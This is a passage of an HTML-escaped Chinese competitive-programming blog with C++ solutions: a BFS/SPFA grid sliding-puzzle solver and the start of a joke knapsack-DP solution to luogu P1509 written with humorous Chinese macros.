visited[SIZE][SIZE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dx[\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = { \u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e-1\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dy[\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = { \u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e-1\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003epriceToMoveTo\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e StartX, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e StartY, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e EndX, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e EndY, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e BlankX, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e BlankY)\u003c/span\u003e \u003c/span\u003e{\u003cspan class=\"comment\"\u003e//bfs\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e queue\u0026lt;point\u0026gt;joblist;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (StartX == EndX\u0026amp;\u0026amp;StartY == EndY)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(StartX, StartY, \u003cspan class=\"number\"\u003e0\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(visited, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e visited);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e visited[StartX][StartY] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!joblist.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e()) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e point current = joblist.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (current.x == EndX\u0026amp;¤t.y == EndY)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e current.step;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*ille*/\u003c/span\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (visited[current.x + dx[i]][current.y + dy[i]])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*fixed*/\u003c/span\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!map[current.x + dx[i]][current.y + dy[i]])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*blank*/\u003c/span\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (current.x + dx[i] == BlankX \u0026amp;\u0026amp; current.y + dy[i] == BlankY)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e visited[current.x + dx[i]][current.y + dy[i]] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(current.x + dx[i], current.y + dy[i], current.step + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e16843009\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e id[SIZE][SIZE][\u003cspan class=\"number\"\u003e4\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eRenewID\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e temp = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= SizeY; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= SizeX; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; k++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (map[i][j] \u0026amp;\u0026amp; map[i + dx[k]][j + dy[k]])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e id[i][j][k] = temp++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ereadMap\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; SizeY \u0026gt;\u0026gt; SizeX \u0026gt;\u0026gt; gamePlays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= SizeY; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= SizeX; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; map[i][j];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ereadMap\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SPFA instG;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eRenewID\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= SizeY; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= SizeX; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; k++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id[i][j][k])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e instG.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e id[i][j][k],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e id[i + dx[k]][j + dy[k]][k ^ \u003cspan class=\"number\"\u003e1\u003c/span\u003e],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; a \u0026lt;= SizeY; a++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e b = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; b \u0026lt;= SizeX; b++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; j++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == j)\u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!id[a][b][i] || !id[a][b][j])\u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e instG.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e id[a][b][i],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e id[a][b][j],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epriceToMoveTo\u003c/span\u003e(a + dx[i], b + dy[i], a + dx[j], b + dy[j], a, b)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (gamePlays--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; EmptyX \u0026gt;\u0026gt; EmptyY \u0026gt;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e StartX \u0026gt;\u0026gt; StartY \u0026gt;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TargX \u0026gt;\u0026gt; TargY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/////////////\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (StartX == TargX\u0026amp;\u0026amp;StartY == TargY) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e instG.\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id[StartX][StartY][i]) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e instG.joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(id[StartX][StartY][i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e instG.visited[id[StartX][StartY][i]] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e instG.dis[id[StartX][StartY][i]] =\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epriceToMoveTo\u003c/span\u003e(EmptyX, EmptyY, StartX + dx[i], StartY + dy[i], StartX, StartY);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e instG.\u003cspan class=\"built_in\"\u003ework\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/////////////\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e Min = \u003cspan class=\"number\"\u003e16843009\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id[TargX][TargY][i] \u0026amp;\u0026amp; instG.dis[id[TargX][TargY][i]] \u0026lt; Min)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Min = instG.dis[id[TargX][TargY][i]];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; (Min == \u003cspan class=\"number\"\u003e16843009\u003c/span\u003e ? \u003cspan class=\"number\"\u003e-1\u003c/span\u003e : Min) \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e////////////\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"找啊找啊找GF\"\u003e找啊找啊找GF\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: luoguP1509\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e写过的最有意思的题解233333\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 我开始审视这个妹子,心中想到 how_sad = false;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 那真是个悲伤的故事 how_sad = true;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 拿下这个妹子就多个妹子陪 (dp[j][k] \u0026lt; dp[j - money_cost[i]][k - rp_cost[i]] + 1)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 这个妹子比前面那个省事 (dp[j][k] == dp[j - money_cost[i]][k - rp_cost[i]] \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026amp;\u0026amp; time[j][k] \u0026gt; time[j - money_cost[i]][k - rp_cost[i]] + time_cost[i])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 如果 \u003cspan class=\"meta-keyword\"\u003eif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 而且 \u0026amp;\u0026amp;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 或者 ||\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 我 (\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 的话 )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 没钱没人品 j \u0026lt; money_cost[i] || k \u0026lt; rp_cost[i]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 有钱而且有人品 (!how_sad)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 那我就 ){\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 推倒她 dp[j][k] = dp[j - money_cost[i]][k - rp_cost[i]] + 1; \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e time[j][k] = time[j - money_cost[i]][k - rp_cost[i]] + time_cost[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 的说 }\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 如果推倒她并没有什么用 \u003cspan class=\"meta-keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e 那我管她呢 dp[j][k] = dp[j][k], time[j][k] = time[j][k];\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e MAX_GIRLS 101\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e money_cost[MAX_GIRLS], rp_cost[MAX_GIRLS], time_cost[MAX_GIRLS];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e my_money, my_rp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dp[MAX_GIRLS][MAX_GIRLS],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etime[MAX_GIRLS][MAX_GIRLS];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan 